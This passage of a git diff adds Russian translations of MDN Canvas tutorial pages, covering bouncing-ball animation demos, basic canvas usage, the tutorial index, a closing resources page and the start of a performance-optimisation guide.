+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("First_demo", "610", "310")}}</p>
+
+<h2 id="Ускорение">Ускорение</h2>
+
+<p>Чтобы сделать движение более реальным, вы можете играть со скоростью, нпример так:</p>
+
+<pre class="brush: js">ball.vy *= .99;
+ball.vy += .25;</pre>
+
+<p><span class="notranslate">Это замедляет вертикальную скорость каждого кадра, так что мяч будет просто отскакивать от пола в конце.</span></p>
+
+<div class="hidden">
+<h6 id="Second_demo">Second demo</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Second_demo", "610", "310")}}</p>
+
+<h2 id="Скользящий_эффект">Скользящий эффект</h2>
+
+<p>До сих пор мы использовали метод {{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}}, когда очищали предыдущий кадр. Если заменить этот метод на {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} с полу-прозрачным стилем, можно легко создать эффект скольжения.</p>
+
+<pre class="brush: js">ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+ctx.fillRect(0, 0, canvas.width, canvas.height);</pre>
+
+<div class="hidden">
+<h6 id="Third_demo">Third demo</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0, 0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Third_demo", "610", "310")}}</p>
+
+<h2 id="Добавление_управления_мышью"><span class="notranslate" style="background-color: #e6ecf9;">Добавление управления мышью</span></h2>
+
+<p>Чтобы получить некоторый контроль над мячом, мы можем заставить его следовать за нашей мышью, например, с помощью события<span class="notranslate"> <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=ru&amp;rurl=translate.google.com&amp;sl=en&amp;sp=nmt4&amp;tl=ru&amp;u=https://developer.mozilla.org/en-US/docs/Web/Reference/Events/mousemove&amp;usg=ALkJrhhcJqJN-yKD36pH8RkWQhb3uewyBA">mousemove</a></code> .</span> <span class="notranslate"> Событие <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=ru&amp;rurl=translate.google.com&amp;sl=en&amp;sp=nmt4&amp;tl=ru&amp;u=https://developer.mozilla.org/en-US/docs/Web/Events/click&amp;usg=ALkJrhi9Rqodjh09zJQ7RSZkVNVqMZ5zhw">click</a></code></span> отпускает мяч и позволяет ему снова прыгать</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+var running = false;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 1,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function clear() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0,0,canvas.width,canvas.height);
+}
+
+function draw() {
+  clear();
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mousemove', function(e) {
+  if (!running) {
+    clear();
+    ball.x = e.clientX;
+    ball.y = e.clientY;
+    ball.draw();
+  }
+});
+
+canvas.addEventListener('click', function(e) {
+  if (!running) {
+    raf = window.requestAnimationFrame(draw);
+    running = true;
+  }
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+  running = false;
+});
+
+ball.draw();
+</pre>
+
+<p><span class="notranslate">Переместите шар с помощью мыши и отпустите его одним щелчком.</span></p>
+
+<p>{{EmbedLiveSample("Adding_mouse_control", "610", "310")}}</p>
+
+<h2 id="Breakout(арканоид)">Breakout(арканоид)</h2>
+
+<p>В этой короткой главе описаны некоторые приемы создания продвинутой анимации.  Как насчет того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите <a href="/en-US/docs/Games">Game development</a> чтобы узнать больше об играх.</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+ <li><a href="/en-US/docs/Games/Techniques/Efficient_animation_for_web_games">Efficient animation for web games</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html
new file mode 100644
index 0000000000..3c32d75985
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html
@@ -0,0 +1,150 @@
+---
+title: Базовое использование Canvas
+slug: Web/API/Canvas_API/Tutorial/Basic_usage
+tags:
+  - Canvas
+translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</div>
+
+<p class="summary">Давайте начнем этот урок с изучения элемента {{HTMLElement("canvas")}} как такового. В конце этой страницы Вы узнаете как устанавливать canvas 2D context и нарисуете первый пример в вашем браузере.</p>
+
+<h2 id="Элемент_&lt;canvas>">Элемент <code>&lt;canvas&gt;</code></h2>
+
+<pre class="brush: html notranslate">&lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Он выглядит как элемент <code>&lt;img&gt;</code>, но его отличие в том, что он не имеет атрибутов <code>src</code> и <code>alt</code>. Элемент <code>&lt;canvas&gt;</code> имеет только два атрибута - <strong>ширину</strong> и <strong>высоту</strong>. Оба они не обязательны и могут быть выставлены с использованием свойств <a href="/en-US/docs/DOM" rel="internal" title="en/DOM">DOM</a>. Если атрибуты высоты и ширины не установлены, canvas будет по умолчанию шириной <strong>300 пикселей</strong> и в высоту <strong>150 пикселей</strong>. Вы так же можете выставить размеры произвольно в <a href="/en-US/docs/Web/CSS" rel="internal" title="en/CSS">CSS</a>, но во время рендеринга изображение будет масштабироваться в соответствии с его размером и ориентацией.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Если вид вашего изображения кажется вам искаженным, попробуйте указать атрибуты ширины и высоты в явном виде в атрибутах &lt;canvas&gt; , а не с помощью CSS.</p>
+</div>
+
+<p>Атрибут id не специфичен для элемента <code>&lt;canvas&gt;,</code> но он может быть применен по умолчанию в атрибутах HTML, так как он может быть использован (почти) для любого элемента HTML (так же как класс). Это всегда отличная идея использовать <code>id</code>, так как это позволяет намного проще идентифицировать наш элемент в сценарии.</p>
+
+<p>Элемент <code>&lt;canvas&gt;</code> может быть стилизован также, как любое изображение (margin, border, background, и т. д.). Эти правила, как бы то ни было, фактически не влияют на отрисовку в canvas. Мы увидим как это сделано позже в этом руководстве. Когда стили не указаны, canvas будет по умолчанию абсолютно прозрачным.</p>
+
+<div id="section_2">
+<h3 id="Запасное_содержимое">Запасное содержимое</h3>
+
+<p>Из-за того, что старые браузеры (в особенности, версии Internet Explorer раннее чем 9) не поддерживают элемент {{HTMLElement("canvas")}}, Вам следует предоставить запасное содержимое для отображения этими браузерами.</p>
+
+<p>Это очень просто: мы всего лишь предоставляем альтернативное содержимое внутри элемента <code>&lt;canvas&gt;</code>. Браузеры, которые не поддерживают <code>&lt;canvas&gt;</code> проигнорируют container и отобразят запасное содержимое этого тега. Браузеры, которые поддерживают <code>&lt;canvas&gt;</code> проигнорируют запасное содержимое, и просто нормально отобразят canvas.</p>
+
+<p>Например, мы можем предоставить текстовое описание содержимого canvas или предоставить статичное изображение динамически отображаемого содержимого. Это может выглядеть как-то так:</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="stockGraph" width="150" height="150"&gt;
+  current stock price: $3.15 +0.15
+&lt;/canvas&gt;
+
+&lt;canvas id="clock" width="150" height="150"&gt;
+  &lt;img src="images/clock.png" width="150" height="150" alt=""/&gt;
+&lt;/canvas&gt;
+</pre>
+
+<p>Сообщать пользователю о том, что его браузер не поддерживает canvas не поможет тем, кто не может прочесть содержимое тега canvas, к примеру. Предоставление полезной информации в дополнительном canvas <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">делает этот тег более доступным для широкого использования.</a></p>
+
+<h3 id="Требуется_тег_&lt;canvas>"><span class="short_text" id="result_box" lang="ru"><span class="hps">Требуется</span> <span class="hps">тег </span></span><code>&lt;/canvas&gt;</code></h3>
+
+<p>В отличии от элемента {{HTMLElement("img")}}, элемент {{HTMLElement("canvas")}}  <strong>требует</strong> закрывающийся тег (<code>&lt;/canvas&gt;</code>). Если этот тег не предоставлен, остаток документа будет считаться запасным контентом и не будет отображен.</p>
+
+<p>Если запасной контент не нужен, простой  <code>&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</code> полностью совместим со всеми браузерами, что поддерживают canvas.</p>
+
+<h2 id="Рендеринг_содержимого_контекста">Рендеринг содержимого (контекста)</h2>
+
+<p>Элемент {{HTMLElement("canvas")}} в документе создается с фиксированным размером элемента для рисования, который может иметь один или несколько контекстов для рендеринга, создавая и манипулируя содержимым для показа. В данном руководстве мы сфокусируемся на 2D рендеринге. Другие контексты могут предоставлять разные типы рендеринга, к примеру WebGl использует 3D контекст основанный на <a href="http://www.khronos.org/opengles/">OpenGL ES</a>.</p>
+
+<p>Холст изначально пустой и прозрачный. Первым делом скрипт получает доступ к контексту и отрисовывает его. Элемент {{HTMLElement("canvas")}} имеет <a href="/en-US/docs/Web/API/HTMLCanvasElement#Method">метод</a> <code>getContext()</code>, используется для получения контекста визуализации и ее функции рисования. <code>getContext()</code> принимает один параметр, тип контекста. Для 2D графики, которая охвачена этим руководством будем использвать метку "2d".</p>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>В первой строке скрипта мы получаем узел нашего холста {{HTMLElement("canvas")}}, далее с помощью  {{domxref("document.getContext()")}} метода мы присваиваем ему контекст. Имея узел элемента , вы всегда можете получить для рисования контекст при помощи метода <code>getContext()</code>.</p>
+
+<div id="section_5">
+<h2 id="Проверка_поддержки">Проверка поддержки</h2>
+
+<p>Ранее уже упоминалось, что в браузерах, которые не поддерживают {{HTMLElement("canvas")}} отображается запасное содержимое. Но помимо этого, определить, поддерживает ли браузер <code>canvas</code>, можно прямо из кода, проверив наличие метода <code>getContext()</code>. Код с запасным содержимым, который мы приводили Выше, становится следующим:</p>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext){
+  var ctx = canvas.getContext('2d');
+  // drawing code here
+} else {
+  // canvas-unsupported code here
+}
+</pre>
+</div>
+</div>
+
+<h2 id="Скелет_шаблона">Скелет шаблона</h2>
+
+<p>Здесь минимальный шаблон, который мы будем использовать как начальную точку для дальнейших примеров.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> вставка скрипта внутрь HTML не является хорошей практикой. Мы делаем это здесь, чтобы сделать пример короче.</p>
+</div>
+
+<pre class="notranslate"><code>&lt;!DOCTYPE html&gt;</code>
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Canvas tutorial&lt;/title&gt;
+    &lt;script type="text/javascript"&gt;
+      function draw(){
+        var canvas = document.getElementById('tutorial');
+        if (canvas.getContext){
+          var ctx = canvas.getContext('2d');
+        }
+      }
+    &lt;/script&gt;
+    &lt;style type="text/css"&gt;
+      canvas { border: 1px solid black; }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body onload="draw();"&gt;
+    &lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Скрипт вызывает функцию draw(), которая выполнится, когда страница закончит загрузку. Это делается путем события {{event("load")}} в документе. Эта функция может быть вызвана как единожды, так и с помощью данных методов {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, или любым другим обработчиком события, когда страница будет загружена.</p>
+
+<p>Вот как шаблон будет выглядеть в действии.</p>
+
+<p>{{EmbedLiveSample("Скелет_шаблона", 160, 160)}}</p>
+
+<h2 id="Простой_пример">Простой пример</h2>
+
+<p>Для начала, давайте посмотрим на простой пример, который рисует два пересекающихся прямоугольника, один из которых имеет прозрачность alpha. Мы изучим, как это работает более детально в последующих примерах.</p>
+
+<pre class="notranslate"><code>&lt;!DOCTYPE html&gt;</code>
+&lt;html&gt;
+ &lt;head&gt;
+  &lt;script type="application/javascript"&gt;
+    function draw() {
+      var canvas = document.getElementById("canvas");
+      if (canvas.getContext) {
+        var ctx = canvas.getContext("2d");
+
+        ctx.fillStyle = "rgb(200,0,0)";
+        ctx.fillRect (10, 10, 55, 50);
+
+        ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+        ctx.fillRect (30, 30, 55, 50);
+      }
+    }
+  &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Этот пример выглядит так:</p>
+
+<p>{{EmbedLiveSample("Простой_пример", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/finale/index.html b/files/ru/web/api/canvas_api/tutorial/finale/index.html
new file mode 100644
index 0000000000..63187795bd
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/finale/index.html
@@ -0,0 +1,51 @@
+---
+title: Finale
+slug: Web/API/Canvas_API/Tutorial/Finale
+translation_of: Web/API/Canvas_API/Tutorial/Finale
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Optimizing_canvas")}}</div>
+
+<div class="summary">
+<p>Поздравляем! Вы завершили <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a>! Эти знания помогут вам создавать великолепную 2d графику в сети.</p>
+</div>
+
+<h2 id="Больше_примеров_и_учебных_материалов">Больше примеров и учебных материалов</h2>
+
+<p>Различные демки и дополнительные разъяснеия о canvas расположены на этих сайтах:</p>
+
+<dl>
+ <dt><a href="http://codepen.io/search?q=canvas">Codepen.io</a></dt>
+ <dd>Песочница для фронтенд разработчика и редактор кода в браузере.</dd>
+ <dt><a href="http://www.canvasdemos.com/">Canvasdemos.com</a></dt>
+ <dd>Приложения, игры, инструменты и учебные пособия для HTML5 canvas элементов.</dd>
+ <dt><a href="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></dt>
+ <dd>Примеры для большинтсва canvas APIs.</dd>
+ <dt><a href="http://creativejs.com/2011/08/31-days-of-canvas-tutorials/">31 days of Canvas tutorials</a></dt>
+ <dd>Прекрасное введение в разработку графики на JavaScript.</dd>
+ <dt><a href="/en-US/docs/Games">Game development</a></dt>
+ <dd>Игры - одна из наболее популярных  действий на компьютере. Постоянно появляются новые технологии, делающих возможным разработку более лучших и мощных игр, чем те, которые могли быть созданы стандартными средствами веб браузеров.</dd>
+</dl>
+
+<h2 id="Другие_Web_API">Другие Web API</h2>
+
+<p>Эти APIs могут быть полезны  в дальнейшей работе с canvas и графикой:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/WebGL">WebGL</a></dt>
+ <dd>API для отображения интерактивной 3D графики.</dd>
+ <dt><a href="/en-US/docs/Web/SVG">SVG</a></dt>
+ <dd>Масштабируемая Векторная Графика (Scalable Vector Graphics) позволяет описывать картинки в виде набора векторов (линий) и  форм, позволяюших плавно изменять размер вне зависимости от размера в котором они нарисованы.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio</a></dt>
+ <dd>Web Audio API представляет мощную и универсальную систему контроля аудио в сети, позволяющая разработчикам получить аудио ресурсы, добавлять эффекты аудио, создавать аудио визуализацию,  применять пространственные эффекты (такие как сдвиг) и многое другое.</dd>
+</dl>
+
+<h2 id="Вопросы">Вопросы</h2>
+
+<dl>
+ <dt><a href="http://stackoverflow.com/questions/tagged/canvas">Stackoverflow</a></dt>
+ <dd>Вопросы с тегом "canvas".</dd>
+ <dt><a href="/en-US/docs/MDN">Comments about this tutorial – the MDN documentation community</a></dt>
+ <dd>Если у вас остались вопросы об этом учебнике или вы хотите поблагодарить нас, не стесняйтесь обращаться к нам!</dd>
+</dl>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Optimizing_canvas")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/index.html b/files/ru/web/api/canvas_api/tutorial/index.html
new file mode 100644
index 0000000000..8409367956
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/index.html
@@ -0,0 +1,58 @@
+---
+title: Руководство по Canvas
+slug: Web/API/Canvas_API/Tutorial
+tags:
+  - Canvas
+  - Graphics
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<p><a href="/ru/docs/Web/API/Canvas_API"><img alt="" src="https://mdn.mozillademos.org/files/257/Canvas_tut_examples.jpg" style="float: right; height: 450px; width: 200px;"></a>{{CanvasSidebar}}</p>
+
+<p class="summary"><a href="/ru/docs/Web/HTML/Element/canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a> — это <a href="Web/HTML" title="HTML">HTML</a> элемент, использующийся для рисования графики средствами языков программирования (обычно это <a href="Словарь/JavaScript">JavaScript</a>). Он может, к примеру, использоваться для рисования графов, создания коллажей или простой (<a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster" title="A_Basic_RayCaster">и не очень</a>) анимации.<br>
+ Изображения в правой части статьи являются примерами использования <code><a href="/ru/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a>.</code><br>
+ Примеры их создания приводятся в этой статье. </p>
+
+<p>В этом руководстве описываются основы использования элемента <code>&lt;canvas&gt;</code> для рисования 2D-графики. Приведенные примеры дадут вам понимание того, что вы можете сделать с помощью &lt;canvas&gt;, а использованные в статье фрагменты кода помогут в создании собственных проектов.</p>
+
+<p><code>Впервые &lt;canvas&gt;</code> использовался компанией Apple для создания <a href="https://ru.wikipedia.org/wiki/Dashboard">Mac OS X Dashboard</a>, а затем был реализован в Web-браузерах. На сегодняшний день все основные браузеры поддерживют работу с &lt;canvas&gt;. Тег <code>&lt;canvas&gt;</code> часть спецификации <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a> также известной как HTML5.</p>
+
+<h2 id="Before_you_start" name="Before_you_start">Прежде чем начать</h2>
+
+<p>Работа с элементом <strong><code>&lt;canvas&gt;</code></strong> довольно проста, но потребует от вас базовых знаний <a href="ru/docs/HTML" title="HTML">HTML</a> и <a href="JavaScript" title="JavaScript">JavaScript</a>. Следует предупредить о том, что элемент <code>&lt;<strong>canvas&gt;</strong></code> не работает в некоторых старых браузерах, но поддерживается большинством современных браузеров. Стандартный размер <strong><code>&lt;canvas&gt;</code></strong>  300px × 150px (ширина × высота), однако эти размеры могут быть изменены при помощи HTML-атрибутов <code>height</code> и <code>width</code>. Для рисования графики <strong><code>&lt;canvas&gt;</code></strong> мы будем использовать <code>javascript context object</code>,  который создает графику динамически.</p>
+
+<h2 id="In_this_tutorial" name="In_this_tutorial">В этом руководстве</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Basic_usage" title="Canvas_tutorial/Basic_usage">Базовое использование</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Drawing_shapes" title="Canvas_tutorial/Drawing_shapes">Рисование форм</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Using_images" title="Canvas_tutorial/Using_images">Использование изображений</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Applying_styles_and_colors" title="Canvas_tutorial/Applying_styles_and_colors">Применение стилей и цветов</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Transformations" title="Canvas_tutorial/Transformations">Трансформации</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Compositing" title="Canvas_tutorial/Compositing">Композирование и обрезка</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Basic_animations" title="Canvas_tutorial/Basic_animations">Базовое анимирование</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas" title="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas">Оптимизация canvas</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите Также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas">Canvas topic page</a></li>
+ <li><a href="/en-US/docs/HTML/Canvas/Drawing_Graphics_with_Canvas" title="Drawing_Graphics_with_Canvas">Drawing Graphics with Canvas</a></li>
+ <li><a href="/en-US/docs/tag/Canvas_examples" title="tag/Canvas_examples">Canvas examples</a></li>
+ <li><a class="external" href="http://html5tutorial.com" title="http://html5tutorial.com">HTML5 Tutorial</a></li>
+ <li><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas">Drawing Text Using a Canvas</a></li>
+ <li><a class="external" href="http://developer.apple.com/library/safari/#documentation/AudioVideo/Conceptual/HTML-canvas-guide/AddingText/AddingText.html#//apple_ref/doc/uid/TP40010542-CH6-SW4" title="Adding Text to Canvas">Adding Text to Canvas</a></li>
+ <li><a class="external" href="http://canvimation.github.com/" title="http://canvimation.github.com/">Canvas Drawing and Animation Application</a></li>
+ <li><a class="external" href="http://billmill.org/static/canvastutorial/" title="http://billmill.org/static/canvastutorial/">Interactive canvas tutorial</a></li>
+ <li><a class="external" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></li>
+ <li><a class="external" href="http://html5tutorial.com/how-to-draw-n-grade-bezier-curve-with-canvas-api" title="http://html5tutorial.com/how-to-draw-n-grade-bezier-curve-with-canvas-api">How to draw N grade Bézier curves with the Canvas API</a></li>
+ <li><a href="http://www.w3.org/TR/2dcontext/" title="http://www.w3.org/TR/2dcontext/">W3C Standard</a></li>
+</ul>
+
+<h2 id="Примечание_для_помощников">Примечание для помощников</h2>
+
+<p>Из-за досадной технической ошибки, которая произошла 17 июня 2013 года, мы утеряли историю по этому руководству, в том числе атрибуции ко всем прошлым, участвовавшие в его создании. Мы приносим извинения за это, и надеемся, что вы простите нас за этот несчастный случай. </p>
+
+<div>
+<div>{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}</div>
+</div>
diff --git a/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html
new file mode 100644
index 0000000000..40a83917e8
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html
@@ -0,0 +1,120 @@
+---
+title: Оптимизация canvas
+slug: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+tags:
+  - Canvas
+  - Graphics
+  - HTML
+  - HTML5
+  - Tutorial
+  - Оптимизация
+  - Урок
+  - Холст
+translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</div>
+
+<div class="summary">
+<p>Элемент {{HTMLElement ("canvas")}} является одним из наиболее широко используемых инструментов для рендеринга 2D-графики в Интернете. Однако когда веб-сайты и приложения используют Canvas API на пределе его возможностей, производительность начинает снижаться. В этой статье приводятся предложения по оптимизации использования элемента canvas для обеспечения хорошей работы графики.</p>
+</div>
+
+<h2 id="Советы_по_производительности">Советы по производительности</h2>
+
+<p>Ниже приведен сборник советов по улучшению производительности canvas.</p>
+
+<h3 id="Предварительно_отрисуйте_похожие_примитивы_или_повторяющиеся_объекты_на_offscreen_canvas">Предварительно отрисуйте похожие примитивы или повторяющиеся объекты на offscreen canvas</h3>
+
+<p>Если вы повторяете одни и те же операции рисования в каждом кадре анимации, рассмотрите возможность их выгрузки на offscreen canvas. Затем вы можете визуализировать закадровое изображение на свой основной canvas так часто, как это необходимо, без необходимости повторять шаги, необходимые для его генерации.</p>
+
+<pre class="brush: js">myCanvas.offscreenCanvas = document.createElement('canvas');
+myCanvas.offscreenCanvas.width = myCanvas.width;
+myCanvas.offscreenCanvas.height = myCanvas.height;
+
+myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0);
+</pre>
+
+<h3 id="Избегайте_координат_с_плавающей_точкой_и_используйте_вместо_них_целые_числа">Избегайте координат с плавающей точкой и используйте вместо них целые числа</h3>
+
+<p>Субпиксельный рендеринг происходит при рендеринге объектов на canvas без целых значений.</p>
+
+<pre class="brush: js">ctx.drawImage(myImage, 0.3, 0.5);
+</pre>
+
+<p>Это заставляет браузер выполнять дополнительные вычисления для создания эффекта сглаживания. Чтобы избежать этого, обязательно округлите все координаты, используемые в вызовах {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}, например, с помощью {{jsxref("Math.floor()")}}.</p>
+
+<h3 id="Не_масштабируйте_изображения_в_drawImage">Не масштабируйте изображения в <code>drawImage</code></h3>
+
+<p>При загрузке кэшируйте изображения разных размеров на offscreen canvas, а не постоянно масштабируйте их в {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.</p>
+
+<h3 id="Используйте_несколько_слоев_canvas_для_сложных_сцен">Используйте несколько слоев canvas для сложных сцен</h3>
+
+<p>Вы можете обнаружить, что некоторые объекты в вашем приложении нужно часто перемещать или менять, в то время как другие остаются относительно статичными. Возможной оптимизацией в этой ситуации является наложение ваших элементов с использованием нескольких элементов <code>&lt;canvas&gt;</code>.</p>
+
